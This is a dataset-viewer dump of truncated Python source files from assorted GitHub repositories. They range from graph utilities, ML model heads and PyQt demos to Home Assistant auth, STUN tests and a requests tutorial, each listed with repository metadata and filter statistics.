hexsha stringlengths 40 40 | size int64 6 1.04M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 247 | max_stars_repo_name stringlengths 4 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 247 | max_issues_repo_name stringlengths 4 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 247 | max_forks_repo_name stringlengths 4 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.04M | avg_line_length float64 1.53 618k | max_line_length int64 1 1.02M | alphanum_fraction float64 0 1 | original_content stringlengths 6 1.04M | filtered:remove_non_ascii int64 0 538k | filtered:remove_decorators int64 0 917k | filtered:remove_async int64 0 722k | filtered:remove_classes int64 -45 1M | filtered:remove_generators int64 0 814k | filtered:remove_function_no_docstring int64 -102 850k | filtered:remove_class_no_docstring int64 -3 5.46k | filtered:remove_unused_imports int64 -1,350 52.4k | filtered:remove_delete_markers int64 0 59.6k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
552d2484e1e2e6500a5d1ca695524d46a6bc83a6 | 2,444 | py | Python | tools/fast_ops.py | andre-morelli/Urban-Analytics | fab5beeb826b7c4128f2b6c40435644c754ec026 | [
"MIT"
] | null | null | null | tools/fast_ops.py | andre-morelli/Urban-Analytics | fab5beeb826b7c4128f2b6c40435644c754ec026 | [
"MIT"
] | null | null | null | tools/fast_ops.py | andre-morelli/Urban-Analytics | fab5beeb826b7c4128f2b6c40435644c754ec026 | [
"MIT"
] | null | null | null | from .utils import get_igraph
def fast_betweenness(G, weight=None, kind = 'edge', norm=True, cutoff=None):
"""
Gets betweenness centrality. For relativelly large graphs, this func is
faster than networkx
Parameters
----------
G : NetworkX DiGraph or Graph
The graph to be considered.
... | 29.445783 | 93 | 0.570376 | import igraph as ig
from .utils import get_igraph
def fast_betweenness(G, weight=None, kind = 'edge', norm=True, cutoff=None):
"""
Gets betweenness centrality. For relativelly large graphs, this func is
faster than networkx
Parameters
----------
G : NetworkX DiGraph or Graph
The grap... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -2 | 22 |
7264f8b62efcc67a3ebc4b0e54772944d22c5e96 | 1,048 | py | Python | nn/layers/activations.py | tranbahien/bae_prior | 6bb385ed765ae1dd8c961e597f1ed91e036ae470 | [
"Apache-2.0"
] | null | null | null | nn/layers/activations.py | tranbahien/bae_prior | 6bb385ed765ae1dd8c961e597f1ed91e036ae470 | [
"Apache-2.0"
] | null | null | null | nn/layers/activations.py | tranbahien/bae_prior | 6bb385ed765ae1dd8c961e597f1ed91e036ae470 | [
"Apache-2.0"
] | null | null | null | import torch.nn as nn
| 23.818182 | 127 | 0.66126 | import torch
import torch.nn as nn
from nn.layers import gelu, swish, concat_relu, concat_elu, gated_tanh
class GELU(nn.Module):
'''GELU activation (https://arxiv.org/abs/1606.08415) as used in Sparse Transformers (https://arxiv.org/abs/1904.10509).'''
def forward(self, input):
return gelu(input)
... | 0 | 0 | 0 | 821 | 0 | 0 | 0 | 40 | 160 |
c2838f3b19b1c882a88fa16ceff20175deb4918c | 862 | py | Python | Python/Algorithms/133.py | DimitrisJim/leetcode_solutions | 765ea578748f8c9b21243dec9dc8a16163e85c0c | [
"Unlicense"
] | 2 | 2021-01-15T17:22:54.000Z | 2021-05-16T19:58:02.000Z | Python/Algorithms/133.py | DimitrisJim/leetcode_solutions | 765ea578748f8c9b21243dec9dc8a16163e85c0c | [
"Unlicense"
] | null | null | null | Python/Algorithms/133.py | DimitrisJim/leetcode_solutions | 765ea578748f8c9b21243dec9dc8a16163e85c0c | [
"Unlicense"
] | null | null | null | """
# Definition for a Node.
class Node:
def __init__(self, val = 0, neighbors = None):
self.val = val
self.neighbors = neighbors if neighbors is not None else []
"""
| 30.785714 | 67 | 0.554524 | """
# Definition for a Node.
class Node:
def __init__(self, val = 0, neighbors = None):
self.val = val
self.neighbors = neighbors if neighbors is not None else []
"""
class Solution:
def cloneGraph(self, node: 'Node') -> 'Node':
# keep track of what we've already visited as
# a... | 0 | 0 | 0 | 651 | 0 | 0 | 0 | 0 | 23 |
3bd4a5801ef1f151287a89d49633c531d8c650ff | 3,826 | py | Python | examples/pytorch/fx/object_detection/maskrcnn/pytorch/maskrcnn_benchmark/modeling/roi_heads/roi_heads.py | intelkevinputnam/lpot-docs | 1ff32b4d89074a6bd133ba531f7c0cea3b73152f | [
"Apache-2.0"
] | 567 | 2018-09-13T05:07:49.000Z | 2020-11-23T11:52:11.000Z | examples/pytorch/fx/object_detection/maskrcnn/pytorch/maskrcnn_benchmark/modeling/roi_heads/roi_heads.py | intelkevinputnam/lpot-docs | 1ff32b4d89074a6bd133ba531f7c0cea3b73152f | [
"Apache-2.0"
] | 222 | 2018-09-14T10:15:39.000Z | 2020-11-20T22:21:09.000Z | examples/pytorch/fx/object_detection/maskrcnn/pytorch/maskrcnn_benchmark/modeling/roi_heads/roi_heads.py | intelkevinputnam/lpot-docs | 1ff32b4d89074a6bd133ba531f7c0cea3b73152f | [
"Apache-2.0"
] | 279 | 2018-09-16T12:40:29.000Z | 2020-11-17T14:22:52.000Z | # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 42.511111 | 96 | 0.687141 | # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 0 | 0 | 0 | 2,337 | 0 | 578 | 0 | 93 | 135 |
345af4f41c1a718d1065bb39333f7a026304cd78 | 1,058 | py | Python | 18-QToolBar/QToolBar1.py | yurensan/PyQt5-Tutorial | 6b773a7f1b0eae88e7dede0758dd29c38c72a93a | [
"Apache-2.0"
] | null | null | null | 18-QToolBar/QToolBar1.py | yurensan/PyQt5-Tutorial | 6b773a7f1b0eae88e7dede0758dd29c38c72a93a | [
"Apache-2.0"
] | null | null | null | 18-QToolBar/QToolBar1.py | yurensan/PyQt5-Tutorial | 6b773a7f1b0eae88e7dede0758dd29c38c72a93a | [
"Apache-2.0"
] | null | null | null | import sys
from PyQt5.QtWidgets import QApplication
if __name__ == '__main__':
app = QApplication(sys.argv)
main = QToolBarDemo()
main.show()
sys.exit(app.exec_())
| 28.594595 | 80 | 0.632325 | import sys
from PyQt5.QtWidgets import QAction,QHBoxLayout,QWidget,QApplication,QMainWindow
from PyQt5.QtGui import QIcon
class QToolBarDemo(QMainWindow):
def __init__(self):
super(QToolBarDemo, self).__init__()
#设置窗口大小
self.resize(400, 150)
#设置窗口标题
self.setWindowTitle("QTo... | 54 | 0 | 0 | 765 | 0 | 0 | 0 | 48 | 45 |
4416a7ac69a47bb48891ebeff01ab4848da6e43e | 280 | py | Python | data/projects.py | EkaterinaPentjuhina/python_training_mantis | 57736c91802f443b446c61f10313fa36c0bb9e79 | [
"Apache-2.0"
] | null | null | null | data/projects.py | EkaterinaPentjuhina/python_training_mantis | 57736c91802f443b446c61f10313fa36c0bb9e79 | [
"Apache-2.0"
] | null | null | null | data/projects.py | EkaterinaPentjuhina/python_training_mantis | 57736c91802f443b446c61f10313fa36c0bb9e79 | [
"Apache-2.0"
] | null | null | null | from model.project import Project
testdata = [
Project(name="project 111", status="development", view_status="public", description="description project 111"),
Project(name="project 222", status="release", view_status="private", description="description project 111"),
]
| 35 | 115 | 0.742857 | from model.project import Project
testdata = [
Project(name="project 111", status="development", view_status="public", description="description project 111"),
Project(name="project 222", status="release", view_status="private", description="description project 111"),
]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
2f59c7fd1409dee1a88fb20e6777a7f50c5e01a5 | 17,015 | py | Python | part2.py | zhy0313/Tback | d75855286b7f8b90f0c74931d0a05889005d86b9 | [
"MIT"
] | 3 | 2018-09-07T11:15:42.000Z | 2020-12-19T13:12:17.000Z | part2.py | zhy0313/Tback | d75855286b7f8b90f0c74931d0a05889005d86b9 | [
"MIT"
] | null | null | null | part2.py | zhy0313/Tback | d75855286b7f8b90f0c74931d0a05889005d86b9 | [
"MIT"
] | 2 | 2020-03-01T14:33:42.000Z | 2020-12-19T13:12:19.000Z | import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import pandas_datareader.data as web
from part1 import apple, start, end
apple['20d-50d'] = apple['20d'] - apple['50d']
apple["Regime"] = np.where(apple['20d-50d'] > 0, 1, 0)
# We have 1's for bullish regimes and 0's for everything else.... | 50.943114 | 360 | 0.598178 | import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import pandas_datareader.data as web
from part1 import apple, start, end
apple['20d-50d'] = apple['20d'] - apple['50d']
apple["Regime"] = np.where(apple['20d-50d'] > 0, 1, 0)
# We have 1's for bullish regimes and 0's for everything else.... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
8b66afd23e85442d421463bd9397c2006d8ce2c5 | 105 | py | Python | in2ai/play/spam/_trecspam.py | in2ai/resources-spam-filtering | cf5055bc8e8a11c9b44b5f01bf36efe3f0279606 | [
"MIT"
] | null | null | null | in2ai/play/spam/_trecspam.py | in2ai/resources-spam-filtering | cf5055bc8e8a11c9b44b5f01bf36efe3f0279606 | [
"MIT"
] | null | null | null | in2ai/play/spam/_trecspam.py | in2ai/resources-spam-filtering | cf5055bc8e8a11c9b44b5f01bf36efe3f0279606 | [
"MIT"
] | null | null | null | """https://trec.nist.gov/data/spam.html
https://trec.nist.gov/pubs/trec16/papers/SPAM.OVERVIEW16.pdf
""" | 35 | 60 | 0.733333 | """https://trec.nist.gov/data/spam.html
https://trec.nist.gov/pubs/trec16/papers/SPAM.OVERVIEW16.pdf
""" | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
d94814a6464adb2ac1f1716f468672d13a785b7c | 925 | py | Python | class_materials/Useful_Python_modules/2019/exercises/question2c.py | sklasfeld/python_bootcamp | 3b48a70f1bfd620788f46d869485b55e5622222f | [
"MIT"
] | null | null | null | class_materials/Useful_Python_modules/2019/exercises/question2c.py | sklasfeld/python_bootcamp | 3b48a70f1bfd620788f46d869485b55e5622222f | [
"MIT"
] | 8 | 2017-09-19T13:31:32.000Z | 2020-09-20T15:59:46.000Z | class_materials/Useful_Python_modules/2019/exercises/question2c.py | sklasfeld/python_bootcamp | 3b48a70f1bfd620788f46d869485b55e5622222f | [
"MIT"
] | 10 | 2017-09-18T17:58:44.000Z | 2020-07-11T04:10:28.000Z | import sys, random, argparse
sys.path.append('../utilities/') #CHANGE THIS PATH IF SCR
import my_utils
parser=argparse.ArgumentParser(
description="generates a random dataset of sequences")
parser.add_argument("outFile", type=str,
help="name of the output file the \
generated ... | 35.576923 | 60 | 0.656216 | import sys, random, argparse
sys.path.append('../utilities/') #CHANGE THIS PATH IF SCR
import my_utils
parser=argparse.ArgumentParser(
description="generates a random dataset of sequences")
parser.add_argument("outFile", type=str,
help="name of the output file the \
generated ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
164a5e5b0ebaf81404d5b2dc9367a656df9d0c07 | 630 | py | Python | longestCommonPrefix.py | jiaxiang-cheng/My-LeetCode | e3b1c8475b4c9e600111735df365f17fb658c7e1 | [
"MIT"
] | null | null | null | longestCommonPrefix.py | jiaxiang-cheng/My-LeetCode | e3b1c8475b4c9e600111735df365f17fb658c7e1 | [
"MIT"
] | null | null | null | longestCommonPrefix.py | jiaxiang-cheng/My-LeetCode | e3b1c8475b4c9e600111735df365f17fb658c7e1 | [
"MIT"
] | null | null | null | # https://leetcode.com/problems/longest-common-prefix/
| 26.25 | 56 | 0.469841 | # https://leetcode.com/problems/longest-common-prefix/
class Solution:
def longestCommonPrefix(self, strings):
length_str = []
for i, j in enumerate(strings):
length_str.append(len(j))
ref = strings[length_str.index(min(length_str))]
strings.remove(ref)
flag, pr... | 0 | 0 | 0 | 552 | 0 | 0 | 0 | 0 | 23 |
e40c5b08fb718b9eba9e1aa98bac572f3b1a1564 | 17,777 | py | Python | homeassistant/auth/__init__.py | DRubioBizcaino/AIS-home-assistant | 69d49b6e6e09313acd63375ac6c08f79be8b904c | [
"Apache-2.0"
] | 1 | 2020-05-11T19:20:07.000Z | 2020-05-11T19:20:07.000Z | homeassistant/auth/__init__.py | DRubioBizcaino/AIS-home-assistant | 69d49b6e6e09313acd63375ac6c08f79be8b904c | [
"Apache-2.0"
] | null | null | null | homeassistant/auth/__init__.py | DRubioBizcaino/AIS-home-assistant | 69d49b6e6e09313acd63375ac6c08f79be8b904c | [
"Apache-2.0"
] | null | null | null | """Provide an authentication layer for Home Assistant."""
import logging
from typing import Dict, Optional, Tuple
from .mfa_modules import MultiFactorAuthModule
from .providers import AuthProvider
EVENT_USER_ADDED = "user_added"
EVENT_USER_REMOVED = "user_removed"
_LOGGER = logging.getLogger(__name__)
_MfaModuleDict ... | 35.341948 | 87 | 0.622152 | """Provide an authentication layer for Home Assistant."""
import asyncio
import logging
from collections import OrderedDict
from datetime import timedelta
from typing import Any, Dict, List, Optional, Tuple, cast
import jwt
from homeassistant import data_entry_flow
from homeassistant.auth.const import ACCESS_TOKEN_EX... | 0 | 2,040 | 12,712 | 2,082 | 0 | 0 | 0 | 227 | 269 |
a4d5c62d048e251db9a792bc11aefddd8768481c | 3,371 | py | Python | test/unit/test_stun.py | sporsh/jostedal | 9d8081a10903f452eb462663cf0946c652440328 | [
"MIT"
] | 26 | 2015-12-20T21:42:29.000Z | 2022-03-17T03:38:25.000Z | test/unit/test_stun.py | sporsh/jostedal | 9d8081a10903f452eb462663cf0946c652440328 | [
"MIT"
] | null | null | null | test/unit/test_stun.py | sporsh/jostedal | 9d8081a10903f452eb462663cf0946c652440328 | [
"MIT"
] | 10 | 2016-05-29T13:21:06.000Z | 2021-12-24T01:14:23.000Z | import unittest
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main()
| 42.1375 | 93 | 0.670721 | import unittest
from jostedal import stun
from jostedal.stun.agent import Message, Address, Unknown
from jostedal.stun import attributes
from jostedal.utils import ha1
class MessageTest(unittest.TestCase):
def setUp(self):
msg_data = (
'011300602112a442fedcb2d51f23946d'
'9cc9754e000... | 0 | 0 | 0 | 3,082 | 0 | 0 | 0 | 64 | 111 |
e2a28ebb9598da879b65a84ebacc3dbf493de525 | 1,659 | py | Python | binary/0190_reverse_bits.py | gosiqueira/blind-75 | 533de6e627c1c542f63578ba86597c76c1c7d983 | [
"MIT"
] | null | null | null | binary/0190_reverse_bits.py | gosiqueira/blind-75 | 533de6e627c1c542f63578ba86597c76c1c7d983 | [
"MIT"
] | null | null | null | binary/0190_reverse_bits.py | gosiqueira/blind-75 | 533de6e627c1c542f63578ba86597c76c1c7d983 | [
"MIT"
] | null | null | null | """
Reverse bits of a given 32 bits unsigned integer.
Note:
Note that in some languages, such as Java, there is no unsigned integer type. In this case, both input and output will be given as a signed integer type. They should not affect your implementation, as the integer's internal binary representation is the same,... | 36.065217 | 292 | 0.757685 | """
Reverse bits of a given 32 bits unsigned integer.
Note:
Note that in some languages, such as Java, there is no unsigned integer type. In this case, both input and output will be given as a signed integer type. They should not affect your implementation, as the integer's internal binary representation is the same,... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
5ffd8e3b2cfc05b756e6fbb941da71438247b290 | 1,522 | py | Python | tests/test_stanza_xep_0300.py | anirudhrata/slixmpp | 1fcee0e80a212eeb274d2f560e69099d8a61bf7f | [
"BSD-3-Clause"
] | 86 | 2016-07-04T13:26:02.000Z | 2022-02-19T10:26:21.000Z | tests/test_stanza_xep_0300.py | anirudhrata/slixmpp | 1fcee0e80a212eeb274d2f560e69099d8a61bf7f | [
"BSD-3-Clause"
] | 10 | 2016-09-30T18:55:41.000Z | 2020-05-01T14:22:47.000Z | tests/test_stanza_xep_0300.py | anirudhrata/slixmpp | 1fcee0e80a212eeb274d2f560e69099d8a61bf7f | [
"BSD-3-Clause"
] | 45 | 2016-09-30T18:48:41.000Z | 2022-03-18T21:39:33.000Z | """
Slixmpp: The Slick XMPP Library
Copyright (C) 2017 Emmanuel Gil Peyrot
This file is part of Slixmpp.
See the file LICENSE for copying permission.
"""
import unittest
suite = unittest.TestLoader().loadTestsFromTestCase(TestHash)
| 26.241379 | 110 | 0.583443 | """
Slixmpp: The Slick XMPP Library
Copyright (C) 2017 Emmanuel Gil Peyrot
This file is part of Slixmpp.
See the file LICENSE for copying permission.
"""
import unittest
from slixmpp import Iq
from slixmpp.test import SlixTest
from slixmpp.plugins.xep_0300 import Hash
from slixmpp.xmlstream import reg... | 3 | 0 | 0 | 1,093 | 0 | 0 | 0 | 64 | 111 |
ce4ee6cc95149d3385cbc78bf5c1a2b4fd832368 | 4,402 | py | Python | atomic_reactor/plugins/exit_delete_from_registry.py | rcerven/atomic-reactor | 84e0f7f85df8680db8267031440b4a4a0aac34c7 | [
"BSD-3-Clause"
] | null | null | null | atomic_reactor/plugins/exit_delete_from_registry.py | rcerven/atomic-reactor | 84e0f7f85df8680db8267031440b4a4a0aac34c7 | [
"BSD-3-Clause"
] | null | null | null | atomic_reactor/plugins/exit_delete_from_registry.py | rcerven/atomic-reactor | 84e0f7f85df8680db8267031440b4a4a0aac34c7 | [
"BSD-3-Clause"
] | null | null | null | """
Copyright (c) 2016 Red Hat, Inc
All rights reserved.
This software may be modified and distributed under the terms
of the BSD license. See the LICENSE file for details.
"""
from __future__ import unicode_literals
import requests
try:
from urlparse import urlparse
except ImportError:
| 41.92381 | 101 | 0.57542 | """
Copyright (c) 2016 Red Hat, Inc
All rights reserved.
This software may be modified and distributed under the terms
of the BSD license. See the LICENSE file for details.
"""
from __future__ import unicode_literals
from copy import deepcopy
import requests
import requests.auth
try:
from urlparse import urlpars... | 0 | 0 | 0 | 3,888 | 0 | 0 | 0 | 81 | 139 |
1f997b791d48420633637cae00c59c32c9b868f5 | 5,246 | py | Python | pyPLS/engines.py | ocloarec/pyPLS | 2b00c8f90c9a0dd4dc70a594dc8300a38aa9a22f | [
"MIT"
] | 1 | 2021-01-23T21:26:57.000Z | 2021-01-23T21:26:57.000Z | pyPLS/engines.py | hlorenzo/pyPLS | 2b00c8f90c9a0dd4dc70a594dc8300a38aa9a22f | [
"MIT"
] | 1 | 2020-05-07T15:27:38.000Z | 2020-05-07T15:27:38.000Z | pyPLS/engines.py | ocloarec/pyPLS | 2b00c8f90c9a0dd4dc70a594dc8300a38aa9a22f | [
"MIT"
] | 2 | 2021-01-18T17:21:22.000Z | 2022-01-24T02:31:45.000Z |
ELIM = 1e-12
| 26.099502 | 97 | 0.39268 | import numpy as np
from .utilities import nanmatprod
ELIM = 1e-12
def pca(X, a):
if isinstance(X, np.ndarray):
# try:
if np.isnan(X).any():
XX = nanmatprod(X, X.T)
else:
XX = X @ X.T
u, s, v = np.linalg.svd(XX)
S = np.eye(len(s))*s
P = np.z... | 0 | 0 | 0 | 0 | 0 | 5,057 | 0 | 9 | 159 |
ac4f8f1eb43623d78b0d7330c665c93614e351c2 | 4,740 | py | Python | moonv4/moon_manager/moon_manager/api/generic.py | hashnfv/hashnfv-moon | daaba34fa2ed4426bc0fde359e54a5e1b872208c | [
"Apache-2.0"
] | null | null | null | moonv4/moon_manager/moon_manager/api/generic.py | hashnfv/hashnfv-moon | daaba34fa2ed4426bc0fde359e54a5e1b872208c | [
"Apache-2.0"
] | null | null | null | moonv4/moon_manager/moon_manager/api/generic.py | hashnfv/hashnfv-moon | daaba34fa2ed4426bc0fde359e54a5e1b872208c | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Open Platform for NFV Project, Inc. and its contributors
# This software is distributed under the terms and conditions of the 'Apache-2.0'
# license which can be found in the file 'LICENSE' in this package distribution
# or at 'http://www.apache.org/licenses/LICENSE-2.0'.
"""
Those API are helping API ... | 35.909091 | 119 | 0.567932 | # Copyright 2015 Open Platform for NFV Project, Inc. and its contributors
# This software is distributed under the terms and conditions of the 'Apache-2.0'
# license which can be found in the file 'LICENSE' in this package distribution
# or at 'http://www.apache.org/licenses/LICENSE-2.0'.
"""
Those API are helping API ... | 0 | 2,426 | 0 | 1,642 | 0 | 0 | 0 | 59 | 136 |
5a1ebe8e061ed945eeffe2d403976d34dabe30b2 | 13,376 | py | Python | pcan/models/roi_heads/refine_heads/local_match_head.py | SysCV/pcan | 06416f1c96b7a86754828582d9a95b9ce0d327ba | [
"Apache-2.0"
] | 271 | 2021-11-24T16:57:54.000Z | 2022-03-31T02:00:38.000Z | pcan/models/roi_heads/refine_heads/local_match_head.py | msg4rajesh/pcan | 5328f42349e19ff1acaccd2c776804df972b9afe | [
"Apache-2.0"
] | 10 | 2021-11-28T10:48:13.000Z | 2022-03-11T09:59:30.000Z | pcan/models/roi_heads/refine_heads/local_match_head.py | msg4rajesh/pcan | 5328f42349e19ff1acaccd2c776804df972b9afe | [
"Apache-2.0"
] | 36 | 2021-11-25T07:43:05.000Z | 2022-03-08T04:08:48.000Z | import torch.nn as nn
| 36.950276 | 80 | 0.560631 | import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from mmcv.cnn import ConvModule
from mmcv.runner import force_fp32, auto_fp16
from mmdet.models.builder import HEADS, build_loss
from mmdet.models.roi_heads.mask_heads.fcn_mask_head import (
_do_paste_mask, BYTES_PER_FLOAT, GPU_... | 0 | 12,984 | 0 | 0 | 0 | 0 | 0 | 168 | 201 |
6238607c9ba206558f879ebba08ccaa67711f387 | 66,206 | py | Python | storage/tests/test_storage.py | globocom/vault | 4909cc022476e59022a1dc55d1bbabf49873ca80 | [
"Apache-2.0"
] | 15 | 2015-03-19T13:05:06.000Z | 2021-08-13T19:17:25.000Z | storage/tests/test_storage.py | globocom/vault | 4909cc022476e59022a1dc55d1bbabf49873ca80 | [
"Apache-2.0"
] | 24 | 2015-02-24T14:20:06.000Z | 2021-12-15T13:33:52.000Z | storage/tests/test_storage.py | globocom/vault | 4909cc022476e59022a1dc55d1bbabf49873ca80 | [
"Apache-2.0"
] | 11 | 2016-09-12T07:54:01.000Z | 2021-10-31T20:26:43.000Z | # -*- coding: utf-8 -*-
| 40.994427 | 152 | 0.6455 | # -*- coding: utf-8 -*-
from unittest.mock import patch, Mock
from unittest import TestCase
import requests
from swiftclient import client
from django.urls import reverse
from django.utils.translation import gettext as _
from django.test.utils import override_settings
from django.contrib.auth.models import Group, Us... | 0 | 60,739 | 0 | 4,897 | 0 | 0 | 0 | 157 | 384 |
ad7fde42698643fbeb54fae364412687d7340f57 | 2,797 | py | Python | Knowledge_Technologies/Project1/experiment/code/editex.py | infinityglow/Unimelb-CS-Subjects | 07bdb49fd4c50035b7f2e80ca218ac2b620098e4 | [
"MIT"
] | 1 | 2022-02-14T16:31:07.000Z | 2022-02-14T16:31:07.000Z | Knowledge_Technologies/Project1/experiment/code/editex.py | hidara2000/Unimelb-CS-Subjects | 07bdb49fd4c50035b7f2e80ca218ac2b620098e4 | [
"MIT"
] | null | null | null | Knowledge_Technologies/Project1/experiment/code/editex.py | hidara2000/Unimelb-CS-Subjects | 07bdb49fd4c50035b7f2e80ca218ac2b620098e4 | [
"MIT"
] | 1 | 2021-06-14T11:59:13.000Z | 2021-06-14T11:59:13.000Z | #!usr/local/bin/python2.7
# Name Haonan Li
# Student ID: 955022
# editex letter distance matrix
ALPHABET = "abcdefghijklmnopqrstuvwxyz#"
letter_group = ["aeiouy", "bp", "ckq", "dt", "lr", "mn", "gj", "fpv", "sxz", "csz"] # 'h' and 'w' are not in the group
# init distance matrix
D = [[2 for i in range(27)] for j in ra... | 29.135417 | 118 | 0.509832 | #!usr/local/bin/python2.7
# Name Haonan Li
# Student ID: 955022
import sys
import os
# editex letter distance matrix
ALPHABET = "abcdefghijklmnopqrstuvwxyz#"
letter_group = ["aeiouy", "bp", "ckq", "dt", "lr", "mn", "gj", "fpv", "sxz", "csz"] # 'h' and 'w' are not in the group
# init distance matrix
D = [[2 for i in ... | 0 | 0 | 0 | 0 | 0 | 1,949 | 0 | -23 | 113 |
09274bda938f10a35e8048dda230364e8eebad7b | 8,662 | py | Python | NightPatcher/byml.py | OatmealDome/SplatoonUtilities | 4cb8a4385e93fc934fee891d5200d045afd94670 | [
"MIT"
] | 13 | 2016-05-12T11:54:45.000Z | 2021-11-18T22:43:16.000Z | NightPatcher/byml.py | OatmealDome/SplatoonUtilities | 4cb8a4385e93fc934fee891d5200d045afd94670 | [
"MIT"
] | 2 | 2016-07-05T03:57:27.000Z | 2016-09-25T17:02:49.000Z | NightPatcher/byml.py | OatmealDome/SplatoonUtilities | 4cb8a4385e93fc934fee891d5200d045afd94670 | [
"MIT"
] | 9 | 2016-06-11T16:37:22.000Z | 2022-01-06T22:25:13.000Z | """
Copyright (C) 2015-2016 Kinnay, MrRean, RoadrunnerWMC
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright
notice, this list of con... | 33.444015 | 117 | 0.581852 | """
Copyright (C) 2015-2016 Kinnay, MrRean, RoadrunnerWMC
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright
notice, this list of con... | 0 | 0 | 0 | 6,661 | 0 | 170 | 0 | -8 | 325 |
07c12e63a10c5dc9cd575ae35440321579c0832c | 774 | py | Python | homeassistant/components/network/const.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 22,481 | 2020-03-02T13:09:59.000Z | 2022-03-31T23:34:28.000Z | homeassistant/components/network/const.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 31,101 | 2020-03-02T13:00:16.000Z | 2022-03-31T23:57:36.000Z | homeassistant/components/network/const.py | MrDelik/core | 93a66cc357b226389967668441000498a10453bb | [
"Apache-2.0"
] | 11,411 | 2020-03-02T14:19:20.000Z | 2022-03-31T22:46:07.000Z | """Constants for the network integration."""
from __future__ import annotations
from typing import Final
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
DOMAIN: Final = "network"
STORAGE_KEY: Final = "core.network"
STORAGE_VERSION: Final = 1
DATA_NETWORK: Final = "network"
ATTR_ADAPT... | 24.967742 | 73 | 0.741602 | """Constants for the network integration."""
from __future__ import annotations
from typing import Final
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
DOMAIN: Final = "network"
STORAGE_KEY: Final = "core.network"
STORAGE_VERSION: Final = 1
DATA_NETWORK: Final = "network"
ATTR_ADAPT... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
aea308c129e1ab9965b197e2b931d9d15cab68c0 | 87 | py | Python | aop2db/aop/__init__.py | brucetony/aop2db | 117e60d2e0a356c7944b33b26ddc64a9a952162c | [
"MIT"
] | null | null | null | aop2db/aop/__init__.py | brucetony/aop2db | 117e60d2e0a356c7944b33b26ddc64a9a952162c | [
"MIT"
] | null | null | null | aop2db/aop/__init__.py | brucetony/aop2db | 117e60d2e0a356c7944b33b26ddc64a9a952162c | [
"MIT"
] | null | null | null | """Methods for parsing, importing, and querying Adverse Outcome Pathway (AOP) data."""
| 43.5 | 86 | 0.747126 | """Methods for parsing, importing, and querying Adverse Outcome Pathway (AOP) data."""
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f9a25a0fdec525b0c03aea0b3adc08a3efb1ddd4 | 447 | py | Python | 100days/day60/req_post.py | chainren/python-learn | 5e48e96c4bb212806b9ae0954fdb368abdcf9ba3 | [
"Apache-2.0"
] | null | null | null | 100days/day60/req_post.py | chainren/python-learn | 5e48e96c4bb212806b9ae0954fdb368abdcf9ba3 | [
"Apache-2.0"
] | 16 | 2020-02-12T03:09:30.000Z | 2022-03-12T00:08:59.000Z | 100days/day60/req_post.py | chainren/python-learn | 5e48e96c4bb212806b9ae0954fdb368abdcf9ba3 | [
"Apache-2.0"
] | null | null | null | """
post
"""
import requests
# data
payload = {'key1':'value1','key2':'value2'}
r = requests.post('http://httpbin.org/post', data = payload)
print(r.text)
# json Requests json
payload= {'some':'data'}
r = requests.post('http://httpbin.org/post', json=payload)
print(r.text)
#
files = {'file': open('req_post.p... | 16.555556 | 60 | 0.668904 | """
复杂post请求
"""
import requests
# 设置data参数
payload = {'key1':'value1','key2':'value2'}
r = requests.post('http://httpbin.org/post', data = payload)
print(r.text)
# 设置json参数。 Requests 允许你使用 json 直接传递参数,然后它就会被自动编码。
payload= {'some':'data'}
r = requests.post('http://httpbin.org/post', json=payload)
print(r.text)
#... | 126 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
50e7ecb83d9221665b869cecda064814b641a8e3 | 347 | py | Python | tests/test_greater_than_last_page.py | giannisterzopoulos/scribd_dl | a7614a6747ea166bac68278dcfb0e05fc5441613 | [
"MIT"
